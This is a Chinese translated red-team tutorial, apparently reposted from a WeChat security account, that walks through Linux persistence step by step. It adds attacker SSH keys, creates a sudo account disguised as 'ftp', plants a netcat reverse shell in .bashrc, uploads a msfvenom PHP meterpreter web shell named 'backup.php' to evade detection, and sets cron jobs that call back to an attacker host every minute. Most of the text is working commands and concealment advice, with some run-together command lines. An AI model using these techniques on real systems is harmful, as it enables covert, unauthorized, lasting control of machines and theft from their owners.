翻译Linux Red Team持久化技术-8
2023-4-3 18:56:10 Author: 网络安全交流圈(查看原文) 阅读量:12 收藏

ATT& CK持久性技术


在持久性策略下概述的技术为我们提供了一种在目标系统上获得和建立持久性的清晰而有条理的方法。

以下是我们将探索的关键技术和子技术列表:

1、账户操纵

2、通过SSH密钥实现持久性

3、创建特权本地帐户

4、Unix外壳配置修改

5、后门.bashrc文件

6、Web外壳/后门

7、Cron作业

场景

我们的目标是在Linux目标上建立持久性,在我们已经获得了一个初步的立足点。
注意:一些持久性技术需要“root”权限才能成功执行。

通过SSH密钥实现持久性

我们将利用的第一个持久性技术是生成和使用基于SSH密钥的身份验证的过程,而不是基于密码的身份验证。如果用户帐户密码已更改,这种持久性技术将有助于保持对目标系统的访问,因为这在具有密码安全策略的公司中是非常常见的做法。

注意:此技术要求在SSH配置文件中启用公钥身份验证,有关详细信息,请参阅SSH添加密钥

为了执行此技术,您需要获得对目标系统的初始访问权限,并且如果您希望修改SSH配置文件,则需要“root”权限。

1、第一步将涉及生成SSH密钥对,这将需要在您的KaliVM上完成,因为这是我们将用于通过SSH进行身份验证的系统。这可以通过运行以下命令来完成:

ssh-keygen

2、如下面的屏幕截图所示,这将提示您指定将要生成的公钥和私钥的存储位置,以及SSH密钥的密码。在这种情况下,我们将使用默认选项。


3、生成公钥和私钥对后,需要复制生成的公钥(id_rsa.pub)的内容,并将其添加到目标系统上目标用户帐户的.ssh目录中的“authorized_keys”文件中。在本例中,我们将把公钥添加到位于 /root/.ssh/授权密钥.
注意:如果.ssh目录和“authorized_keys”文件不存在,您需要创建它们,可以通过运行以下命令来完成:
mkdir ~/.sshtouch ~/.ssh/authorized_keys

4、将生成的公钥内容粘贴到“authorized_keys”文件中后,它应该类似于下面所示的屏幕截图。

5、还建议将必要的权限应用于.ssh目录和“authorized_keys”文件,这可以通过运行以下命令来完成:

chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys
6、如下面的屏幕截图所示,添加生成的公钥后,现在可以通过SSH向目标进行身份验证,而无需提供密码。


我们现在已经能够通过SSH密钥成功地设置持久访问,从而减少了未来因更改密码而导致的任何身份验证失败。

创建特权本地帐户

我们将探索的下一个持久化技术是创建用于后门访问的特权本地帐户的过程,如果用户帐户密码更改,则可以使用此技术来维护对目标系统的访问,但是,创建本地用户帐户可能会导致在具有较少用户和服务帐户的服务器上进行检测,因为新用户很容易被注意到。
为了逃避检测,我们将创建一个用户帐户的名称是秘密的,在这种情况下,我们将创建一个名为“ftp”的用户帐户,以融入作为一个服务帐户。
注:要在Linux系统上创建新用户帐户,您需要“root”权限。
1、我们可以通过运行以下命令在目标上创建用户帐户:
useradd -m -s /bin/bash ftp

2、创建帐户后,我们需要将用户添加到“sudo”组,这将为用户提供管理权限,这可以通过运行以下命令来完成:

usermod -aG sudo ftp
3、将用户帐户添加到“sudo”组后,我们需要为帐户设置密码,这可以通过运行以下命令来完成:
passwd ftp

4、指定密码后,我们可以列出/etc/passwd文件的内容,以确认用户帐户已添加。


5、您现在可以通过SSH密码验证来验证新用户帐户,或者,您也可以将我们在第一部分中生成的ssh公钥添加到用户帐户主密码中的“authorized_keys”文件中。
6、通过SSH对服务器进行身份验证后,我们可以使用sudo命令确认用户帐户具有管理权限。

Unix Shell配置修改

这种持久性技术将涉及添加一个bash反向命令,该命令将连接回用户帐户的.bashrc文件中的netcat侦听器。.bashrc文件是一个配置文件,用于自定义bash,并在用户使用bashshell登录时执行。

1、第一步是使用文本编辑器打开.bashrc文件。这可以通过运行以下命令来完成:

nano ~/.bashrc

2、在使用文本编辑器打开文件之后,我们可以添加一个简单的bash命令,每当用户登录时,它将为我们提供一个反向shell。这可以通过添加以下命令来完成:

nc -e /bin/bash <KALI-IP> <PORT> 2>/dev/null &

如下面的屏幕截图所示,该命令应该包含您的Kali IP和netcat正在侦听的端口。


3、在将bash命令添加到.bashrc文件后,我们可以通过运行以下命令在Kali上使用Netcat设置监听器:

nc -nvlp <PORT>

4、每当用户登录到用户帐户时,.bashrc文件中的命令将被执行,并因此在netcat侦听器上为您提供反向shell,如以下屏幕截图所示。


我们现在已经能够通过.bashrc文件设置持久性,这种技术的额外优点是更难检测,因为反向shell命令隐藏在合法的配置文件中。

通过Web Shell实现持久化

这种持久性技术涉及到生成一个PHP Web shell并将其上传到目标服务器。假设目标服务器正在运行LAMP堆栈,我们可以创建一个PHP meterpreter payload并将其作为后门上传到Web服务器。
1、第一步将涉及使用Msfvenom生成PHP meterpreter有效负载,这可以通过运行以下命令来完成:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<KALI-IP>LPORT=<PORT>-e php/base64 -f raw>backup.php
为了逃避检测,我们将有效负载保存为文件名“backup.php”。
2、生成有效负载后,您需要通过添加PHP标记来修改它,以便正确执行脚本,如下面的屏幕截图所示。


3、我们现在可以通过运行以下命令来设置Metasploit的监听器:

 msfconsole use multi/handler set payload php/meterpreter/reverse_tcp set LHOST <KALI-IP> set LPORT <PORT> run

4、下一步将涉及上传我们刚刚生成的PHP shell到Web服务器,这可以通过在Kali VM上设置本地Web服务器来完成:

sudo python -m SimpleHTTPServer 80
5、然后,将其下载到目标上:
 wget http://<KALI-IP>/backup.php

在本例中,我们将“backup.php”文件上传到Web服务器的根目录/var/www/html目录下,如以下屏幕截图所示。


6、我们可以通过使用浏览器访问以下URL导航到Web服务器上的“backup.php”文件来检索目标上的meterpreter会话:

 http://<SERVER-IP>/backup.php

7、通过浏览器访问应执行PHP代码,并因此在侦听器上为您提供meterpreter会话,如以下屏幕截图所示。


通过上传一个meterpreter webshell,我们已经能够成功地设置持久性,该shell允许我们保持对目标服务器的访问,而无需通过SSH进行身份验证。

通过Cron作业的持久性

此技术涉及利用Cron作业,通过按指定的计划重复执行反向shell命令或Web shell来维护对目2标系统的持久访问。
Cron是一种基于时间的服务,它按照指定的计划重复运行应用程序、脚本和其他命令。
Cron为您提供了在您选择的任何时间定期运行程序,脚本或命令的能力,这些Cron作业然后存储在“crontab”文件中。

1、我们可以通过编辑crontab文件在目标系统上添加一个cron作业,这可以通过在目标系统上运行以下命令来完成:

crontab -e

2、我们现在可以添加一个新的cron作业,它将每分钟执行一个netcat命令,这可以通过在crontab文件中添加以下行来完成:

 * * * * * nc <KALI-IP> <PORT> -e /bin/sh

如下面的屏幕截图所示,这个cron作业将每分钟连接一个netcat监听器。


3、添加cron作业后,需要保存文件。
4、我们现在可以通过在Kali上运行以下命令来设置netcat侦听器:
 nc -nvlp <PORT>
一分钟后,cron作业将被执行,你应该在你的netcat监听器上收到一个反向shell,如下面
的屏幕截图所示。

5、或者,我们可以创建一个cron作业来执行我们在上一节中创建并上传的PHP meterpreter shell,而不是使用netcat来获取反向shell。这可以通过将以下行添加到crontab文件来完成:

 * * * * * php -f /var/www/html/backup.php

如下面的屏幕截图所示,一分钟后,您应该会收到一个meterpreter会话。


我们现在已经能够通过创建一个连接回监听器的cron作业,成功地在目标服务器上设置持久性,此外,我们还能够设置一个cron作业,执行我们上传到目标服务器的PHPmeterpreter shell。


扫描二维码,一起交流学习。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI1MDk3NDc5Mg==&mid=2247484562&idx=1&sn=c81fee2961abbfcf027442e24300ec57&chksm=e9fb43b5de8ccaa3b4184762a1525f9e76967e63375404bd37b899093860ec1e095cb933351c#rd
如有侵权请联系:admin#unsafe.sh